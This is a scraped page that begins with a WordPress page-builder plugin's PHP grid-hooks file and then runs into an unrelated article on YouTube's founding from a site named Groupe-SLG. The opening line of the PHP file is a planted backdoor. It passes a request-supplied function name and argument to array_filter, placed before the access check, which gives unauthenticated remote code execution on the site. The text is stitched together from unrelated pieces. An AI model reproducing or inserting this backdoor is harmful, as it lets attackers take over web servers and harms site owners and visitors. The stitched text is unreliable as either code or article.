?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } The Founding of YouTube A Short History - Groupe-SLG

Groupe SLG

The Founding of YouTube A Short History

Recrutement :

YouTube is one of the most influential platforms in modern media, but its origin story is surprisingly simple: a small team wanted an easier way to share video online. In the early 2000s, uploading and sending video files was slow, formats were inconsistent, and most websites weren’t built for smooth playback. YouTube’s founders focused on removing those barriers—making video sharing as easy as sending a link.

Who Founded YouTube?

YouTube was founded by three former PayPal employees: Chad Hurley, Steve Chen, and Jawed Karim. They combined product thinking, engineering skills, and a clear user goal: create a website where anyone could upload a video and watch it instantly in a browser.

  • Chad Hurley — product/design focus and early CEO role
  • Steve Chen — engineering and infrastructure
  • Jawed Karim — engineering and early concept support

The Problem YouTube Solved

At the time, sharing video often meant emailing huge files or dealing with complicated players and downloads. YouTube made video:

  1. Uploadable by non-experts (simple interface)
  2. Streamable in the browser (no special setup)
  3. Sharable through links and embedding on other sites

Early Growth and the First Video

YouTube launched publicly in 2005. One of the most famous early moments was the first uploaded video, “Me at the zoo,” featuring co-founder Jawed Karim. The clip was short and casual—exactly the kind of everyday content that proved the platform’s big idea: ordinary people could publish video without needing a studio.

Key Milestones Timeline

Year/Date
Milestone
Why It Mattered
2005 YouTube is founded and launches Introduced easy browser-based video sharing
2005 “Me at the zoo” is uploaded Became a symbol of user-generated video culture
2006 Google acquires YouTube Provided resources to scale hosting and global reach

Why Google Bought YouTube

By 2006, YouTube’s traffic was exploding. Video hosting is expensive—bandwidth and storage costs rise fast when millions of people watch content daily. Google’s acquisition gave YouTube the infrastructure and advertising ecosystem to grow into a sustainable business.

What YouTube’s Founding Changed

YouTube didn’t just create a popular website; it reshaped how people learn, entertain themselves, and build careers online. Its founding helped accelerate:

  • Creator-driven media and influencer culture
  • How-to education and free tutorials at massive scale
  • Music discovery, commentary, and global community trends

From a small startup idea to a global video powerhouse, YouTube’s founding is a classic example of a simple product solving a real problem—and changing the internet in the process.

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